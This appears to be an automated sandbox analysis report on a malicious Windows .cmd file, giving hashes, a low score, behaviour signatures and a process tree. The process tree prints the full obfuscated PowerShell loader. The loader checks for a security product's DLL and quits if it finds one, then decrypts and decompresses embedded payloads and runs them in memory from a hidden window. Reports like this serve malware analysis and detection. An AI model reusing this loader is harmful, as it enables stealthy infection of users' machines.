Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    18/10/2024, 01:34

General

  • Target

    3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd

  • Size

    75KB

  • MD5

    832dd29f7ffd54f656233e56c588b4fd

  • SHA1

    fd306aaaa8b2065f80773cf440e245f3120eef09

  • SHA256

    3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d

  • SHA512

    b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10

  • SSDEEP

    1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW

Score
3/10

Malware Config

Signatures

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:576
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "
      2⤵
        PID:288
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2340

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/2340-2-0x00000000744B1000-0x00000000744B2000-memory.dmp

      Filesize

      4KB

    • memory/2340-3-0x00000000744B0000-0x0000000074A5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2340-5-0x00000000744B0000-0x0000000074A5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2340-4-0x00000000744B0000-0x0000000074A5B000-memory.dmp

      Filesize

      5.7MB

    • memory/2340-6-0x00000000744B0000-0x0000000074A5B000-memory.dmp

      Filesize

      5.7MB